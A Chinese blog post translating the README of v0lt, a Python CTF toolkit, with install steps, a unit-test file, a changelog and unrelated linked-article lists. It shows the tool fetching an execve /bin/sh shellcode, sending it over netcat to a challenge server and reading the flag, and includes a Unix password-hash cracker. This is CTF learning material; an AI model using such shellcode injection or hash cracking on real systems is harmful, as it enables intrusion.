v0lt CTF安全工具包

0×00 v0lt
v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这也是我做出这一选择的原因。和丹麦CTF队伍Gallopsled开发的pwntools 没有关系,v0lt只是一个小型灵活但是却具有一些特别功能的工具包。
0×01 要求和安装
依赖关系:
- Libmagic
 - Python3
 
- BeautifulSoup
 - Requests
 - filemagic
 - hexdump
 - passlib
 
安装:
| 
 1 
2 
3 
 | 
git clone https://github.com/P1kachu/v0lt.gitcd v0lt[sudo] python3 setup.py install # 要求sudo执行是因为可能存在缺失的依赖关系 | 
实例: Shellcodes
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
 | 
>>> from v0lt import *>>> nc = Netcat("archpichu.ddns.net", 65102)Connected to port 65102>>> print(nc.read())GIVE ME SHELLCODZ>>> shellhack = ShellHack(4096, "bin","execve")>>> shellhack.get_shellcodes(shellhack.keywords)     ...<SNIPPED>...85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes86: Linux/x86:execve (/bin/sh) - 21 Bytes87: Linux/x86:break chroot execve /bin/sh - 80 bytes88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes...<SNIPPED>...     Selection: 86Your choice: http://shell-storm.org/shellcode/files/shellcode-752.phpShellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"     >>> nc.shellcat(shellhack.shellcode)>>> nc.writeln(shellhack.pad())>>> exploit = nc.dialogue("cat flag", 3)>>> print(exploit)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:File name too longP1kaCTF{sh3llc0de_1s_e4zY} | 
实现功能:
加密
- Base64
 - 凯撒移位
 - 哈希功能(SHA, MD5)
 - 位运算(XOR, 反向XOR)
 - 常用转换(bytes, strings, hex)
 - RSA基础模块 (逆模, 逆幂, 实现RSA共模攻击的egcd脚本…)
 - 暴力破解(基于字典, 自定义词)
 
Shellcodes
- 从Jonathan Salwan的个人网站Shell-storm选定Shellcode并用repo工具下载
 - Shellcode格式
 - Shell{cat,net}: 轻松发送Shellcode
 - 自动填充
 
连接支持
- Netcat
 - Telnet
 
更多可获得的实例:
| 
 1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
65 
66 
67 
68 
 | 
import unittest     from v0lt import *     __author__ = 'P1kachu'     class Tests(unittest.TestCase):    def test_netcat(self):        nc = Netcat("archpichu.ddns.net", 65103)        self.assertEqual(nc.read(), "\nNothing to display yet...\n")         def test_telnet(self):        tl = Telnet("archpichu.ddns.net", 65103)        self.assertEqual(tl.read(), "\nNothing to display yet...\n")         def test_stack(self):        stack = Stack()        self.assertEqual(stack.size(), 0)        stack.push("item")        self.assertEqual(stack.is_empty(), False)        self.assertEqual(stack.size(), 1)        item = stack.pop()        self.assertEqual(stack.size(), 0)        self.assertEqual(item, "item")        self.assertEqual(stack.is_empty(), True)         def test_basic_ceasar(self):        plaintext = "This is a ceasar plaintext"        encrypted = "GUVF VF N PRNFNE CYNVAGRKG"        deciphered = basic_ceasar(plaintext, offset=13)        self.assertEqual(encrypted, deciphered)         def test_get_shellcode(self):        sh = ShellHack(70, "/bin/lol")            sh.get_shellcodes(sh.keywords)        sh = ShellHack(70, "/bin/sh")        sh.get_shellcodes(sh.keywords)         def test_flag_gen(self):        flags_gen("flags.tmp", "P1ka", 10)         def test_find_nth(self):        self.assertEqual(find_nth("lolilol", "l", 3), 6)        self.assertEqual(find_nth("lolilol", "l", 4), -1)         def brute(self):        bf = Bruteforce(charset="abcd", final_length=5, begin_with="l", end_with="P")        bf.generate_strings()        bf = Bruteforce(charset="abcdef", final_length=12, begin_with="l", end_with="P")        bf.generate_strings(output="bf.tmp")         def test_hex(self):        he = Hexeditor()        he.dump_file("setup.py")        he.save_file_as_hex("save.tmp")        he.restore_file("test1.tmp")        he.restore_file("test2.tmp", "save.tmp")         def test_passwd_cracker(self):        nix_basic_pass_cracker("HX9LLTdc/jiDE")        nix_basic_pass_cracker("HX8LLTdc/jiDE")        # nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1")        # nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//")        # nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/")     if __name__ == "__main__":    suite = unittest.defaultTestLoader.loadTestsFromTestCase(Tests)    unittest.TextTestRunner().run(suite) | 
0×02 变更记录
只包括主要功能和变化。错误修正和次要的变化略。
1.3 版本
- 再次做了许多修复
 - Hexeditor (转储/重写文件)
 - Unix密码暴力破解
 
1.2 版本
- 修改/修复/修正了许多文档/bugs/框架
 - 增加了暴力破解模块
 - 增加了linux下一些实用工具
 - 增加了Hexeditor
 - Shellhack修复
 - 增加了警报信息
 
1.0 版本
- 修改了许多文档
 - 修复了许多bugs
 - 增加了shellhack (shellcodes参照工具)
 - 增加了加密工具
 - 增加了网络方面工具
 - 固定了项目树
 
译者注:
项目作者:P1kachu
项目主页:https://github.com/P1kachu/v0lt
转载请注明来自4ido10n's Blog文章《v0lt CTF安全工具包》
v0lt CTF安全工具包的更多相关文章
- 网络安全学习和CTF必不可少的一些网站
		
[转载备用] 原文地址 http://blog.csdn.net/ida0918/article/details/52730662 http://www.sec-wiki.com/skill/ 安全 ...
 - 【转】个人总结-网络安全学习和CTF必不可少的一些网站
		
转自:http://blog.csdn.net/ida0918/article/details/52730662 学习的地方很多,不能一一列举,一些优秀的网址和博客可能也没有提到,大家补充吧:P就简单 ...
 - 网络安全与CTF在线学习资源网站
		
http://www.sec-wiki.com/skill/ 安全技能(里面渗透逆向编程都有介绍) http://blog.knownsec.com/Knownsec_RD_Checklist/ 知道 ...
 - 个人CTF资源聚合
		
i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...
 - CTF入门指南
		
转自http://www.cnblogs.com/christychang/p/6032532.html ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: We ...
 - CTF入门指南(0基础)
		
ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows.linux.小型机等 misc 杂项,隐写,数 ...
 - CTF取证方法大汇总,建议收藏!
		
站在巨人的肩头才会看见更远的世界,这是一篇来自技术牛人的神总结,运用多年实战经验总结的CTF取证方法,全面细致,通俗易懂,掌握了这个技能定会让你在CTF路上少走很多弯路,不看真的会后悔! 本篇文章大约 ...
 - (笔记)CTF入门指南
		
[考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...
 - CTF传送门
		
https://www.zhihu.com/question/30505597详细见知乎 推荐书: A方向: RE for BeginnersIDA Pro权威指南揭秘家庭路由器0day漏洞挖掘技术自 ...
 
随机推荐
- js隐藏或显示某区域
			
隐藏: document.getElementById(“keleyi”).style.display = “none”; 显示: document.getElementById(“keleyi”). ...
 - asp.net session
			
简介编辑 session对象用于存储特定的用户会话所需的信息 . Session对象的引入是为了弥补HTTP协议的不足,HTTP协议是一种无状态的协议. Session中文是"会话" ...
 - 微软Dynamics 使用葡萄城的Wijmo 5提供移动端用户界面选择
			
近日,全球最大的控件提供商葡萄城公司宣布: 葡萄城近日与微软公司达成合作,将Wijmo 产品线的HTML5和JaveScript 控件融合到微软Dynamics CRMOnline 2016版中. 随 ...
 - PHP和Apache的安装
			
http://jingyan.baidu.com/article/154b46315242b328ca8f4101.html
 - phpcms v9 数据源
			
先到phpcms后台的模块下找到数据源 数据源有两种方式 1,内部数据源 2,外部数据源 这里只做外部数据源.添加一个外部数据源 1)必须填写数据库链接信息,指定一个数据名(在站内调用是使用) 2)进 ...
 - wpf框架模型分析
			
一.MVVM模式介绍: 在网上看过很多的MVVM中各块的介绍,感觉很混乱.找到如下的描述感觉很合理,也很好理解(https://msdn.microsoft.com/en-us/library/gg4 ...
 - Java基础学习 -- Java(OOP)程序的设计原则
			
避免代码复制.解决方案:函数.父类: 封装.尽量private每个类的成员变量,用操作封装数据,减少类与类之间成员变量的直接调用,而是调用method,降低耦合: 可扩展性最大化.尽量使用框架+数据的 ...
 - .Net中的并行编程-6.常用优化策略
			
本文是.Net中的并行编程第六篇,今天就介绍一些我在实际项目中的一些常用优化策略. 一.避免线程之间共享数据 避免线程之间共享数据主要是因为锁的问题,无论什么粒度的锁 ...
 - js的动态加载、缓存、更新以及复用(四)
			
本来想一气呵成,把加载的过程都写了,但是卡着呢,所以只好在分成两份了. 1.页面里使用<script>来加载 boot.js . 2.然后在boot.js里面动态加载 bootLoad.j ...
 - 我开发 wangEditor-mobile 的故事
			
wangEditor-mobile 是一款适用于手机.手指操作的富文本编辑器,wangEditor-mobile 官网 1. 写在前面 其实,我一开始并没有想做什么手机端操作的富文本编辑器. w ...